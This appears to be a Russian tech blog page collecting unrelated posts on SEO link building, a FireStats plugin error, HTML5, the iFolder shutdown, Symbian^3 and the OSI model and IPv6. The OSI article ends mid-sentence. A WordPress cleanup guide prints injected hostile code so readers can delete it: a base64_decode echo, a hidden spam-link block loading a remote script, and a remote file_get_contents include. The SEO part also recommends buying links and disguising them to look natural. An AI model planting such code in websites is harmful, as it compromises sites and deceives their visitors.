• Home
  • Интересно

Приобретение ссылок и их влияние на рейтинг сайта

Приобретение ссылок и их влияние на рейтинг сайта

Одним из самых недооцененных и непонятных аспектов при разработке и раскрутке сайта – это приобретение ссылок, или как принято говорить в SEO кругах нарасчивание ссылочной массы. Большое количество приходящих ссылок из других сайтов говорит о популярности и высоком рейтинге сайта среди других тематических ресурсов. Такие ссылки имеют большое значение в алгоритмах ранжирования сайтов в Поисковых системах. Но при этом учитывается и качество таких ссылок, особенно в последнее время, когда объемы трафика спама увеличились.

Первый вопрос у  SEO специалистов – Как получиь ссылки на свой сайт? Ответов много, и они очень разные.

Заработаные ссылки (незапрашиваемые ссылки).

Заработаные ссылки получаются случайно и не запрашиваются владельцем сайта. Такая ссылка размещается на чужем ресурсе потому, что на Вашем сайте находится что-то полезное и ценное с точки зрения администратора сайта. Рассмотрим, как можно получить такие ссылки.

— Ваш сайт содержит некоторую информацию или ресурс, который имеет ценность (важность) среди подобных ресурсов. Например, каталог ресурсов (сайтов), полезные советы в какой-то области и другое.

— создание специалного инструмента, какого-то калькулятора или электронной книги, которая будет свободно распостраняться (тоесть безплатно). С некоторым временем другие сайты будут узнавать цэнность Вашей работы, и будут советовать (размещать ссылки) своим посетителям Ваш ресурс.

— создание ТОП-10 или ТОП-100 советов в той области, в которой Вы мастер (кулинарные советы, програмирование, веб дизайн, зароботок в Интернете и др.).

— создание популярного блога или форума и постояное его информационное пополнение.

Требуемые ссылки (запрашиваемые ссылки).

Суть таких ссылок лежит в том, что Вы как владелец сайта просите администратора (или владельца) другого сайта (ресурса), чтоб он разместил у себя  ссылку на Ваш  сайт. Давайте расмотрим несколько способов получения таких ссылок.

— обмен ссылками с сайтами похожей тематики.

— написание статьи и размещение ее на популярном ресурсе или блоге (EzineArticles, GoArticles, iSnare).

— написание эксклюзивных статей для специфического сайта. Такие статьи называю «маркетинговые статьи».

— обратиться к партнерам по бизнесу, друзьям, колегам, что б они разместили ссылку на Ваш сайт.

— регистрация на форумах по таким же тематикам, и постоянное размещение статей и оставление коментариев с указанием ссылки на Ваш сайт.

— регистрация в социальных сетях, размещение и распостранение ссылок между учасниками.

Другие типы платных и безплатных ссылок.

— регистрация сайта в каталогах и участие в рейтингах.

— покупка ссылок на биржах или напрямую у владельцев сайта.

— покупка статей.

— распостранение информации о своем сайте вместе со ссылкой на него через доски объявлений.

 

 

Какие типы ссылок самые лучшие?

Существует несколько правил, которые следует постоянно держать в уме при построении ссылочной массы свего сайта. Лучшие ссылки:

— лучшие ссылки – это однонаправленные (без обратной) ссылки;

— ссылки с доменов схожих по тематике (релевантные ссылки);

— ссылки должны находиться на страницах, проиндексированых поисковыми роботами, иначе она теряет свою ценность. (Этот факт очень важен при покупке ссылок, будьте внимательны, страница, на которой вы покупаете ссылку должна быть проиндексирована поисковиком);

— ссылки со старых доменов (или страниц) имеют больше авторитер у поисковиков;

— ссылки должны быть с сайтов с разными IP-адресами и разных  сетей C класса, например, сылки с сайтов с IP 156.186.45.37  и 156.186.45.54 будут иметь меньше рейтинг у поисковиков, чем с сайтов с IP 94.65.33.34  и 156.186.45.55. Разные IP (с маской 255.255.0.0) воспринимаются поисковиками как сайты разных владельцев и компаний с разных подсетей;

— ссылки должны быть статическими, тоесть постоянными (покупные ссылки не являются статическими, их еще называют «мигающими ссылками»);

— ссылки должны быть окружены текстом со схожей тематикой, как у сайта, на которую она ссылается, например, внутри статьи;

— ссылки с доменов .edu и .gov имеют бульше доверия у роботов, чем с .com и .net или других доменов верхнего уровня;

— болшой рейтинг имеют ссылки с популярных каталогов и ресурсов, таких как, например, dmoz.org, dir.yahoo.com и c каталогов Яндекса и Google;

— количество ссылок на странице должно быть меньше 50 (Внимание! Не покупайте ссылки на страницах, которые имеют более 50 внешних ссылок, эффект будет почти нулевым);

— текст гиперссылки должен содержать ключевые слова сайта, на который она ссылается;

— при массовом размещении (покупки) ссылок старайтесь исползовать разные варианты текста (анкора) сслыки, это выглядит для поисковых машин более натуральным, чем, например, 100 одинаковых ссылок на Ваш сайт с одинаковым анкором (текстом);

— старайтесь размещать ссылки на сайтах, которые имею похожие географические (региональные) данные. Это увеличит позиции сайта в поисковиках по региональным запросам. Особенно это важно, если маштабы Вашего бизнеса и сайта имеют четко выраженый региональный характер;

— при создании ссылки исползуйте один вариант адреса сайта, или с www или без www. Некоторые поисковики воспринимат их как два разных сайта, и при этом рейтинг будет делиться между ними.

Error initializing sessions directory Firestats

Привет, проблемы с плагином? ух, бывает. Оказывается всё дело не в недонаписании мануала к плагину, а чисто техническая. В общем когда ошибка:

Error initializing sessions directory

то дело может быть в нескольких причинах:
1.Не установлены права на /firestats/fs_sessions на полный доступ.
2. ! Внимание. Нехватка места на диске провайдера для вашего сайта ) . (К примеру плагин кеширования забил кешом папку)

Это всё относится и к  ошибке PCLZIP_ERR_BAD_FORMAT (-10) : Unable to find End of Central Dir Record signature. При Установке или обновлении какого-нибудь другого плагина.

Удалите часть не нужных плагинов или файлов.



Выдержка из мануала FireStats:

Configuration file is not writable

During the initial setup of the installer, The installer tries to change the file installer-config.php, for this to work — the file need to be writable by the web server.
use your ftp client or shell account to change the permissions of this file and try again.
Another alternative is to enter the password regardless of the warning, you will receive an error message with a link to download the configuration file. download it and then use your ftp client to upload it into the installer root directory, and then refresh the page to login.

Temp directory must be writable

The temp directory under the installer root directory must be writable, fix it using your ftp client or shell account and try again.

PHP Safe mode is active

Так что чаще всего проблемы  очень естественные. Удачи.

чужие «левые» ссылки на сайте — убираем

Ищем код в файлах на сервере содержащий:

<? echo(base64_decode и «));?>

Примерный вид кода вот такой:

<? echo(base64_decode(«PGEgaHJlZ…длинный код блаблаблаPGEgaHJlZ«));?>

Бывает множество вариантов, но чаще всего бывают заражены следующие файлы:

index.php
single.php
sidebar_right.php

class-simplepie.php

и шаблоны

wp-contentthemesназвание шаблонаtemplate.php

1. Скачиваем файлы сайта на компьютер

2. Ищем все файлы содержащие base64_decode

3. Удаляем в вышеперечисленных файлах

4. Закачиваем обратно

!!! Не забывайте делать копию резервную, а то вдруг удалите лишнего

Одни из самых распространенных ссылок вот такие:

<style type=»text/css»>#wp3c {position: fixed;top: 0px;margin-left: -10000px;}</style>
<p id=»wp3c»><a href=»http://mp3salem.com/Artist/24/Kitaro/download-mp3/»>kitaro mp3</a>
<a href=»http://bagthemes.com/»>Wordpress шаблоны</a>
<a href=»http://qtemplate.ru/category/templates/tourism/»>Туризм Путешествия Отдых шаблон WordPress</a>
</p><script type=»text/javascript» src=»http://wp3c.org/xhtml.php»></script>

Будте внимательны к тому, что устанавливаете себе на сайт и не будет таких неожиданностей.

Есть еще один способ размещения чужих ссылок через инклуд.

Открываете файл /wp-content/themes/шаблон/sidebar.php

Ищите и удаляете:

<?php error_reporting(0); echo file_get_contents(‘http://qmpq.org/xfn/11’); ?>

PS спасибо саппорту трухоста 😉

HTML5CSS3

HTML 5

HTML 5 (англ. HyperText Markup Language 5) — пятая версия одного из главных языков разметки Интернета, HTML. Версия языка, полностью соответствующая стандарту XML называется XHTML 5.

Многие идеи HTML 5 были изначально предложены WHATWG в стандарте Web Applications 1.0. HTML 5 включает другой стандарт WHATWG, Web Forms 2.0. Разработка HTML 5 началась в новой рабочей группе W3C в 2007 году.

Первый черновик спецификации стал доступен широкой общественности 22 января 2008. Спецификация сейчас находится в разработке и может находиться в этой стадии ещё несколько лет, хотя предполагается, что отдельные части HTML 5 будут закончены и реализованы в браузерах до того, как спецификация официально получит статус рекомендации.

 

Новая разметка

HTML 5 вводит несколько новых элементов и атрибутов. Некоторые из них технически являются эквивалентами <div> и <span>, но имеют своё семантическое значение, например <nav> (навигационная панель) и <footer>. Эти теги будут облегчать работу поисковикам, а также обработку сайта с КПК или читающих программ. Другие элементы предоставляют новую функциональность, такие как <audio> и <video>.

Некоторые устаревшие элементы HTML 4, такие как <font> и <center>, были удалены из HTML 5.
Пример веб-страницы HTML 5

 <!DOCTYPE html>
  <html>
   <head>
    <title>Example HTML5 document</title>
   </head>
   <body>
    <header>...</header>
    <nav>...</nav>
    <section>
       <article>
          ...
       </article>
    </section>
    <aside>...</aside>
    <footer>...</footer>
  </body>
  </html>

Новые API

Помимо определения разметки, в HTML 5 определены API. Существующие интерфейсы DOM расширены, также были добавлены новые API:

* Рисование 2D-картинок в реальном времени;
* Контроль над проигрыванием медиафайлов, который может использоваться, например, для синхронизации субтитров с видео;
* Хранение данных в браузере;
* Редактирование;
* Drag-and-drop;
* Работа с сетью;
* MIME.

Некоторые новые возможности HTML 5 включены в стандарт языка только из-за отсутствия желающих разделить стандарт HTML 5 и поддерживать отдельные спецификации.[6]
Отличия от HTML 4

Основные отличия HTML 5 от HTML 4 составляют:

* Новые правила лексического разбора;
* Новые элементы — footer, section, video, audio, progress, nav, meter, time, aside, canvas;
* Новые типы input-элементов;
* Новые атрибуты;
* Глобальные атрибуты — id, tabindex, repeat;
* Устаревшие элементы убраны — center, font, strike.

Обработка ошибок

HTML5-совместимые браузеры очень гибки при обработке ошибок, в отличие от XHTML. HTML 5 разработан так, что не поддерживающие его браузеры могут спокойно игнорировать элементы HTML 5. В отличие от четвёртой, пятая версия чётко прописывает правила лексического разбора, чтобы различные браузеры отображали один и тот же результат в случае некорректного синтаксиса.

Предполагается, что спецификации достигнут статуса W3C Candidate Recommendation в 2012 году, но это не означает, что вы должны будете ждать так долго, для того, чтобы начать использовать какие-то новые вещи HTML 5. Большинство современных браузеров, к примеру, уже имеют реализацию элемента <canvas> (влкючая Mozilla Firefox, в которой он частично реализован с версии 1.5).

HTML 5 переопределит то, как web-разработчики создают разметку содержимого. Эта версия предложит лучший способ описания отображаемого на web-странице контента, позволит использовать более комплексные типы содержимого, улучшит поддержку медиа и web-приложений и увеличит функциональную совместимость HTML-документов.

Имейте в виду, что эти вещи все еще находятся в стадии разработки и могут быть изменены, многие из указанных улучшений могут быть пересмотрены в течении нескольких лет или не быть реализованы вовсе.

ifolder.ru закрыли

С сайта ifolder.ru

 

Сервис iFolder приостановлен следователями 3-й СЧ ГСУ при ГУВД Москвы.

Сегодня, 17.03.2010 в помещении дата-центра, находящегося по адресу 2-ая ул. Энтузиастов д. 5, появились следователи из 3-й СЧ ГСУ при ГУВД Москвы. Они предъявили протокол о необходимости проведения оперативно-розыскных мероприятий с целью поиска улик, размещенных на сайте iFolder.ru

Администрация сервиса предложила сотрудникам оказать максимальное содействие в поиске и получении нужной информации, а также в установлении личности пользователя, который ее разместил. Однако сотрудники милиции отказались от любой помощи и попытались вывезти ВСЕ оборудование Агавы, размещенное в этом дата-центре, для проведения собственной экспертизы. В результате переговоров вывоз оборудования удалось предотвратить, но, к сожалению, в качестве «альтернативы» сотрудники МВД выключили и опечатали все сервера проекта iFolder, а также и другие сервера компании, не имеющие никакого отношения к проекту.

Компания Агава считает произошедшее беспрецедентным событием, которое ставит под угрозу и сомнение факт существования и развития любого бизнеса в Рунете. Мы намерены бороться и отстаивать интересы сервиса и его клиентов, а также заранее благодарим клиентов за информационную или любую другую помощь в этом деле.

Symbian^3

 

Неужели свершилось чудо…   Npkia в корне меняет отношение к пользователям своим…  Хотя…  Это им нужно как воздух, так как "другие" ЭТИМ давно занялись…

Новый дизайн юзер интерфейса, новые приложения , хотя и кислые ещё "пока" , но как "обещают" всё идёт как нужно, смотрите фундейшн…

Symbian Foundation

Symbian Foundation открывает исходный код мобильной операционной системы Symbian'3. Работа над проектом длилась с 2008 г. после приобретения компанией Nokia оставшейся доли компании Symbian. Выход первых устройств на базе Symbian'3 ожидается не раньше конца 2010 г.
Консорциум Symbian Foundation объявил о намерении сегодня, 4 февраля, опубликовать исходный код Symbian^3, включая приложения, связующее ПО и ядро операционной системы

. В общей сложности в разряд программного обеспечения с открытым кодом будет переведено 108 пакетов и 40 млн строк кода. Воспользоваться кодом платформы, который будет опубликован на официальном сайте, сможет любой производитель смартфонов и любая другая компания. Код будет доступен бесплатно в рамках открытых лицензий, и его можно будет модифицировать.

Разработка Symbian^3 велась с 2008 г. после того, как Nokia за €264 млн приобрела недостающую долю компании Symbian, выпускающей одноименную операционную систему для мобильных телефонов, у Panasonic, Siemens, Ericsson, Sony Ericsson и Samsung. Позже в этом же году Nokia объявила о намерении сделать операционную систему открытой. Это, по словам представителей компании, позволило бы привлечь к платформе большее число разработчиков и повысить ее конкурентоспособность. Открыть платформу первоначально планировалось к июню 2010 г.

По мнению зарубежных аналитиков, данный шаг приведет к укреплению рыночного положения как Symbian, так и Nokia, смартфоны которой базируются на этой системе. Однако для того чтобы выдержать конкуренцию с Android, которая также является открытой, Symbian Foundation необходимо предложить что-то абсолютно новое и чрезвычайно удобное по сравнению с текущей версией платформы, Symbian^1. В самой организации считают, что у них есть преимущество над Android. Оно заключается в том, что в разработке платформы все члены организации принимают равное участие без какого-либо перевеса.

Ожидается, что первые устройства на базе Symbian^3 появятся в продаже в начале 2011 г., то есть примерно 2,5 года спустя выхода первого устройства на базе открытой операционной системы Android. Некоторые источники утверждают, что дебют первых моделей на базе Symbian^3 может состояться в конце текущего года. В настоящее время выпуском смартфонов на базе Symbian занимаются пять компаний: Nokia, Samsung, Sony Ericsson, Fujitsu и Sharp.

По оценке Symbian Foundation, в настоящее время в мире в использовании находится около 330 млн смартфонов на базе Symbian. Согласно прогнозу Gartner, к 2012 г. доля операционной системы Symbian на рынке смартфонов упадет до 39% против приблизительно 45-50% сейчас. Второе место по величине доли займет Android (14,5%), третье, четвертое и пятое места займут iPhone OS, Windows Mobile и BlackBerry OS с долей 13,7%, 12,8% и 12,5% соответственно.

Эксперты считают, что открытие кода Symbian произошло поздно. «Разного рода детские болезни сопровождали эту систему всю ее историю и во многом именно потому, что ее развитием занимался очень ограниченный круг участников, — считает аналитик группы Smartmarketing Светлана Завьялова. – Если бы исходные тексты были открыты 5 лет назад, всего этого можно было бы избежать. Сегодня мы бы не знали ни Android, ни iPhone OS, ни Palm webOS, а может быть и Windows Mobile уже стала бы музейным экспонатом».

По мнению коммерческого директора российской компании «Вобис Компьютер» Михаила Чернышова, открытие кода Symbian, как и выпуск бесплатного приложения для мобильной навигации ранее, является попыткой Nokia отыграть уходящий от нее рынок. «Открытие кода, на мой взгляд, – поиск пути по привлечению программистов и поднятию количественного и качественного уровня приложений для платформы, под которую всегда было сложно программировать»
 

модель OSI

Сетевая модель OSI (базовая эталонная модель взаимодействия открытых систем, англ. Open Systems Interconnection Basic Reference Model) — абстрактная сетевая модель для коммуникаций и разработки сетевых протоколов. Представляет уровневый подход к сети. Каждый уровень обслуживает свою часть процесса взаимодействия. Благодаря такой структуре совместная работа сетевого оборудования и программного обеспечения становится гораздо проще и прозрачнее.

В настоящее время основным используемым семейством протоколов является TCP/IP, разработка которого не была связана с моделью OSI.

Уровни модели OSI

Модель состоит из 7-ми уровней, расположенных друг над другом. Уровни взаимодействуют друг с другом (по «вертикали») посредством интерфейсов, и могут взаимодействовать с параллельным уровнем другой системы (по «горизонтали») с помощью протоколов. Каждый уровень может взаимодействовать только со своими соседями и выполнять отведённые только ему функции. Подробнее можно посмотреть на рисунке.

Модель OSI
Тип данных Уровень Функции
Данные 7. Прикладной уровень Доступ к сетевым службам
6. Уровень представления Представление и кодирование данных
5. Сеансовый уровень Управление сеансом связи
Сегменты 4. Транспортный Прямая связь между конечными пунктами и надежность
Пакеты 3. Сетевой Определение маршрута и логическая адресация
Кадры 2. Канальный Физическая адресация
Биты 1. Физический уровень Работа со средой передачи, сигналами и двоичными данными

Прикладной (Приложений) уровень (англ. Application layer)

Основная статья: Прикладной уровень

Верхний уровень модели, обеспечивает взаимодействие пользовательских приложений с сетью. Этот уровень позволяет приложениям использовать сетевые службы, такие как удалённый доступ к файлам и базам данных, пересылка электронной почты. Также отвечает за передачу служебной информации, предоставляет приложениям информацию об ошибках и формирует запросы к уровню представления. Пример: HTTP, POP3, SMTP, FTP, XMPP, OSCAR, BitTorrent, MODBUS, SIP

Представительский (Уровень представления) (англ. Presentation layer)

Этот уровень отвечает за преобразование протоколов и кодирование/декодирование данных. Запросы приложений, полученные с прикладного уровня, он преобразует в формат для передачи по сети, а полученные из сети данные преобразует в формат, понятный приложениям. На этом уровне может осуществляться сжатие/распаковка или кодирование/декодирование данных, а также перенаправление запросов другому сетевому ресурсу, если они не могут быть обработаны локально.

Уровень 6 (представлений) эталонной модели OSI обычно представляет собой промежуточный протокол для преобразования информации из соседних уровней. Это позволяет осуществлять обмен между приложениями на разнородных компьютерных системах прозрачным для приложений образом. Уровень представлений обеспечивает форматирование и преобразование кода. Форматирование кода используется для того, чтобы гарантировать приложению поступление информации для обработки, которая имела бы для него смысл. При необходимости этот уровень может выполнять перевод из одного формата данных в другой. Уровень представлений имеет дело не только с форматами и представлением данных, он также занимается структурами данных, которые используются программами. Таким образом, уровень 6 обеспечивает организацию данных при их пересылке.

Чтобы понять, как это работает, представим, что имеются две системы. Одна использует для представления данных расширенный двоичный код обмена информацией EBCDIC, например, это может быть мэйнфрейм компании IBM, а другая — американский стандартный код обмена информацией ASCII (его используют большинство других производителей компьютеров). Если этим двум системам необходимо обменяться информацией, то нужен уровень представлений, который выполнит преобразование и осуществит перевод между двумя различными форматами.

Другой функцией, выполняемой на уровне представлений, является шифрование данных, которое применяется в тех случаях, когда необходимо защитить передаваемую информацию от приема несанкционированными получателями. Чтобы решить эту задачу, процессы и коды, находящиеся на уровне представлений, должны выполнить преобразование данных. На этом уровне существуют и другие подпрограммы, которые сжимают тексты и преобразовывают графические изображения в битовые потоки, так что они могут передаваться по сети.

Стандарты уровня представлений также определяют способы представления графических изображений. Для этих целей может использоваться формат PICT — формат изображений, применяемый для передачи графики QuickDraw между программами для компьютеров Macintosh и PowerPC. Другим форматом представлений является тэгированный формат файлов изображений TIFF, который обычно используется для растровых изображений с высоким разрешением. Следующим стандартом уровня представлений, который может использоваться для графических изображений, является стандарт, разработанный Объединенной экспертной группой по фотографии (Joint Photographic Expert Group); в повседневном пользовании этот стандарт называют просто JPEG.

Существует другая группа стандартов уровня представлений, которая определяет представление звука и кинофрагментов. Сюда входят интерфейс электронных музыкальных инструментов MIDI (Musical Instrument Digital Interface) для цифрового представления музыки, разработанный Экспертной группой по кинематографии стандарт MPEG, используемый для сжатия и кодирования видеороликов на компакт-дисках, хранения в оцифрованном виде и передачи со скоростями до 1,5 Мбит/с, и QuickTime — стандарт, описывающий звуковые и видео элементы для программ, выполняемых на компьютерах Macintosh и PowerPC.

Пример: AFP — Apple Filing Protocol, ASCII — American Standard Code for Information Interchange, EBCDIC — Extended Binary Coded Decimal Interchange Code, ICA — Independent Computing Architecture, LPP — Lightweight Presentation Protocol, NCP — NetWare Core Protocol, NDR — Network Data Representation RDP — Remote Desktop Protocol, XDR — eXternal Data Representation, X.25 PAD — Packet Assembler/Disassembler Protocol

Сеансовый уровень (англ. Session layer)

Основная статья: Сеансовый уровень

5-й уровень модели отвечает за поддержание сеанса связи, позволяя приложениям взаимодействовать между собой длительное время. Уровень управляет созданием/завершением сеанса, обменом информацией, синхронизацией задач, определением права на передачу данных и поддержанием сеанса в периоды неактивности приложений. Синхронизация передачи обеспечивается помещением в поток данных контрольных точек, начиная с которых возобновляется процесс при нарушении взаимодействия.

Пример: ADSP (AppleTalk Data Stream Protocol), ASP (AppleTalk Session Protocol), H.245 (Call Control Protocol for Multimedia Communication), ISO-SP (OSI Session Layer Protocol (X.225, ISO 8327)), iSNS (Internet Storage Name Service), L2F (Layer 2 Forwarding Protocol), L2TP (Layer 2 Tunneling Protocol), NetBIOS (Network Basic Input Output System), PAP (Password Authentication Protocol), PPTP (Point-to-Point Tunneling Protocol), RPC (Remote Procedure Call Protocol), RTCP (Real-time Transport Control Protocol), SMPP (Short Message Peer-to-Peer), SCP (Secure Copy Protocol), ZIP (Zone Information Protocol), SDP (Sockets Direct Protocol).

Транспортный уровень (англ. Transport layer)

Основная статья: Транспортный уровень

4-й уровень модели предназначен для доставки данных без ошибок, потерь и дублирования в той последовательности, как они были переданы. При этом не важно, какие данные передаются, откуда и куда, то есть он предоставляет сам механизм передачи. Блоки данных он разделяет на фрагменты, размер которых зависит от протокола, короткие объединяет в один, а длинные разбивает. Пример: TCP, UDP.

Существует множество классов протоколов транспортного уровня, начиная от протоколов, предоставляющих только основные транспортные функции (например, функции передачи данных без подтверждения приема), и заканчивая протоколами, которые гарантируют доставку в пункт назначения нескольких пакетов данных в надлежащей последовательности, мультиплексируют несколько потоков данных, обеспечивают механизм управления потоками данных и гарантируют достоверность принятых данных.

Некоторые протоколы сетевого уровня, называемые протоколами без установки соединения, не гарантируют, что данные доставляются по назначению в том порядке, в котором они были посланы устройством-источником. Некоторые транспортные уровни справляются с этим, собирая данные в нужной последовательности до передачи их на сеансовый уровень. Мультиплексирование (multiplexing) данных означает, что транспортный уровень способен одновременно обрабатывать несколько потоков данных (потоки могут поступать и от различных приложений) между двумя системами. Механизм управления потоком данных — это механизм, позволяющий регулировать количество данных, передаваемых от одной системы к другой. Протоколы транспортного уровня часто имеют функцию контроля доставки данных, заставляя принимающую данные систему отправлять подтверждения передающей стороне о приеме данных.

Описать работу протоколов с установкой соединения можно на примере работы обычного телефона. Протоколы этого класса начинают передачу данных с вызова или установки маршрута следования пакетов от источника к получателю. После чего начинают последовательную передачу данных и затем по окончании передачи разрывают связь.

Протоколы без установки соединения, которые посылают данные, содержащие полную адресную информацию в каждом пакете, работают аналогично почтовой системе. Каждое письмо или пакет содержит адрес отправителя и получателя. Далее каждый промежуточный почтамт или сетевое устройство считывает адресную информацию и принимает решение о маршрутизации данных. Письмо или пакет данных передается от одного промежуточного устройства к другому до тех пор, пока не будет доставлено получателю. Протоколы без установки соединения не гарантируют поступление информации получателю в том порядке, в котором она была отправлена. За установку данных в соответствующем порядке при использовании сетевых протоколов без установки соединения отвечают транспортные протоколы.

Пример: ATP (AppleTalk Transaction Protocol), CUDP (Cyclic UDP), DCCP (Datagram Congestion Control Protocol), FCP (Fiber Channel Protocol), IL (IL Protocol), NBF (NetBIOS Frames protocol), NCP (Netware Core Protocol), SCTP (Stream Control Transmission Protocol), SPX (Sequenced Packet Exchange), SST (Structured Stream Transport), TCP (Transmission Control Protocol), UDP (User Datagram Protocol).

Сетевой уровень (англ. Network layer)

Основная статья: Сетевой уровень

3-й уровень сетевой модели OSI предназначен для определения пути передачи данных. Отвечает за трансляцию логических адресов и имён в физические, определение кратчайших маршрутов, коммутацию и маршрутизацию, отслеживание неполадок и заторов в сети. На этом уровне работает такое сетевое устройство, как маршрутизатор.

Протоколы сетевого уровня маршрутизируют данные от источника к получателю.

Пример: IP/IPv4/IPv6 (Internet Protocol), IPX (Internetwork Packet Exchange, протокол межсетевого обмена), X.25 (частично этот протокол реализован на уровне 2) CLNP (сетевой протокол без организации соединений), IPsec (Internet Protocol Security), ICMP (Internet Control Message Protocol), RIP (Routing Information Protocol), OSPF (Open Shortest Path First).

Канальный уровень (англ. Data Link layer)

Основная статья: Канальный уровень

Этот уровень предназначен для обеспечения взаимодействия сетей на физическом уровне и контроля за ошибками, которые могут возникнуть. Полученные с физического уровня данные он упаковывает во фреймы, проверяет на целостность, если нужно исправляет ошибки (посылает повторный запрос поврежденного кадра) и отправляет на сетевой уровень. Канальный уровень может взаимодействовать с одним или несколькими физическими уровнями, контролируя и управляя этим взаимодействием. Спецификация IEEE 802 разделяет этот уровень на 2 подуровня — MAC (Media Access Control) регулирует доступ к разделяемой физической среде, LLC (Logical Link Control) обеспечивает обслуживание сетевого уровня.

На этом уровне работают коммутаторы, мосты.

Протоколы: ARCnet, ATM, Cisco Discovery Protocol (CDP), Controller Area Network (CAN), Econet, Ethernet, Ethernet Automatic Protection Switching (EAPS), Fiber Distributed Data Interface (FDDI), Frame Relay, High-Level Data Link Control (HDLC), IEEE 802.2 (provides LLC functions to IEEE 802 MAC layers), IEEE 802.11 wireless LAN, Link Access Procedures, D channel (LAPD), LocalTalk, Multiprotocol Label Switching (MPLS), Point-to-Point Protocol (PPP), Serial Line Internet Protocol (SLIP) (obsolete), Spanning tree protocol, StarLan, Token ring, Unidirectional Link Detection (UDLD), x.25.

В программировании этот уровень представляет драйвер сетевой платы, в операционных системах имеется программный интерфейс взаимодействия канального и сетевого уровней между собой, это не новый уровень, а просто реализация модели для конкретной ОС. Примеры таких интерфейсов: ODI, NDIS

Физический уровень (англ. Physical layer)

Основная статья: Физический уровень

Самый нижний уровень модели предназначен непосредственно для передачи потока данных. Осуществляет передачу электрических или оптических сигналов в кабель или в радиоэфир и, соответственно, их приём и преобразование в биты данных в соответствии с методами кодирования цифровых сигналов. Другими словами, осуществляет интерфейс между сетевым носителем и сетевым устройством.

На этом уровне работают концентраторы (хабы), повторители (ретрансляторы) сигнала и медиаконверторы.

Функции физического уровня реализуются на всех устройствах, подключенных к сети. Со стороны компьютера функции физического уровня выполняются сетевым адаптером или последовательным портом. К физическому уровню относятся физические, электрические и механические интерфейсы между двумя системами. Физический уровень определяет такие свойства среды сети передачи данных как оптоволокно, витая пара, коаксиальный кабель, спутниковый канал передач данных и т. п. Стандартными типами сетевых интерфейсов, относящимися к физическому уровню, являются: V.35, RS-232C, RS-485, RJ-11, RJ-45, разъемы AUI и BNC.

Протоколы: IRDA, USB, EIA RS-232, EIA-422, EIA-423, RS-449, RS-485, Ethernet (включая 10BASE-T, 10BASE2, 10BASE5, 100BASE-TX, 100BASE-FX, 100BASE-T, 1000BASE-T, 1000BASE-SX и другие), 802.11Wi-Fi, DSL, ISDN, SONET/SDH, GSM Um radio interface, IEEE 802.15, ITU и ITU-T, Firewire, TransferJet, Etherloop, ARINC 818, G.hn/G.9960.

Модель OSI и реальные протоколы

Семиуровневая модель OSI является теоретической, и содержит ряд недоработок. Были попытки строить сети в точном соответствии с моделью OSI, но созданные таким образом сети были дорогими, ненадёжными и неудобными в эксплуатации. Реальные сетевые протоколы, используемые в существующих сетях, вынуждены отклоняться от неё, обеспечивая непредусмотренные возможности, поэтому привязка некоторых из них к уровням OSI является несколько условной: некоторые протоколы занимают несколько уровней модели OSI, функции обеспечения надёжности реализованы на нескольких уровнях модели OSI.

Основная недоработка OSI — непродуманный транспортный уровень. На нём OSI позволяет осуществлять обмен данными между приложениями (вводя понятие порта — идентификатора приложения), однако, возможность обмена простыми датаграммами (по типу UDP) в OSI не предусмотрена — транспортный уровень должен образовывать соединения, обеспечивать доставку, управлять потоком и т. п. (по типу TCP). Реальные же протоколы реализуют такую возможность.

Семейство TCP/IP

Семейство TCP/IP имеет три транспортных протокола: TCP, полностью соответствующий OSI, обеспечивающий проверку получения данных, UDP, отвечающий транспортному уровню только наличием порта, обеспечивающий обмен датаграммами между приложениями, не гарантирующий получения данных и SCTP, разработанный для устранения некоторых недостатков TCP и в который добавлены некоторые новшества. (В семействе TCP/IP есть ещё около двухсот протоколов, самым известным из которых является служебный протокол ICMP, используемый для внутренних нужд обеспечения работы; остальные также не являются транспортными протоколами.)

Семейство IPX/SPX

В семействе IPX/SPX порты (называемые «сокеты» или «гнёзда») появляются в протоколе сетевого уровня IPX, обеспечивая обмен датаграммами между приложениями (операционная система резервирует часть сокетов для себя). Протокол SPX, в свою очередь, дополняет IPX всеми остальными возможностями транспортного уровня в полном соответствии с OSI.

В качестве адреса хоста IPX использует идентификатор, образованный из четырёхбайтного номера сети (назначаемого маршрутизаторами) и MAC-адреса сетевого адаптера.

Модель DOD

Стек протоколов TCP/IP, использующий упрощённую четырёхуровневую модель OSI.

Адресация в IPv6

Адреса назначения и источника в IPv6 имеют длину 128 бит или 16 байт. Версия 6 обобщает специальные типы адресов версии 4 в следующих типах адресов:

  • Unicast — индивидуальный адрес. Определяет отдельный узел — компьютер или порт маршрутизатора. Пакет должен быть доставлен узлу по кратчайшему маршруту.
  • Cluster — адрес кластера. Обозначает группу узлов, которые имеют общий адресный префикс (например, присоединенных к одной физической сети). Пакет должен быть маршрутизирован группе узлов по кратчайшему пути, а затем доставлен только одному из членов группы (например, ближайшему узлу).
  • Multicast — адрес набора узлов, возможно в различных физических сетях. Копии пакета должны быть доставлены каждому узлу набора, используя аппаратные возможности групповой или широковещательной доставки, если это возможно.

Как и в версии IPv4, адреса в версии IPv6 делятся на классы, в зависимости от значения нескольких старших бит адреса.

Большая часть классов зарезервирована для будущего применения. Наиболее интересным для практического использования является класс, предназначенный для провайдеров услуг Internet, названный Provider-Assigned Unicast.

Адрес этого класса имеет следующую структуру:

010 Идентификатор
провайдера
Идентификатор
абонента
Идентификатор
подсети
Идентификатор
узла

Каждому провайдеру услуг Internet назначается уникальный идентификатор, которым помечаются все поддерживаемые им сети. Далее провайдер назначает своим абонентам уникальные идентификаторы, и использует оба идентификатора при назначении блока адресов абонента. Абонент сам назначает уникальные идентификаторы своим подсетям и узлам этих сетей.

Абонент может использовать технику подсетей, применяемую в версии IPv4, для дальнейшего деления поля идентификатора подсети на более мелкие поля.

Описанная схема приближает схему адресации IPv6 к схемам, используемым в территориальных сетях, таких как телефонные сети или сети Х.25. Иерархия адресных полей позволит магистральным маршрутизаторам работать только со старшими частями адреса, оставляя обработку менее значимых полей маршрутизаторам абонентов.

Под поле идентификатора узла требуется выделения не менее 6 байт, для того чтобы можно было использовать в IP-адресах МАС-адреса локальных сетей непосредственно.

Для обеспечения совместимости со схемой адресации версии IPv4, в версии IPv6 имеется класс адресов, имеющих 0000 0000 в старших битах адреса. Младшие 4 байта адреса этого класса должны содержать адрес IPv4. Маршрутизаторы, поддерживающие обе версии адресов, должны обеспечивать трансляцию при передаче пакета из сети, поддерживающей адресацию IPv4, в сеть, поддерживающую адресацию IPv6, и наоборот.

Критика

Семиуровневая модель OSI критиковалась некоторыми специалистами. В частности в классической книге «UNIX. Руководство системного администратора» Эви Немет и другие пишут:

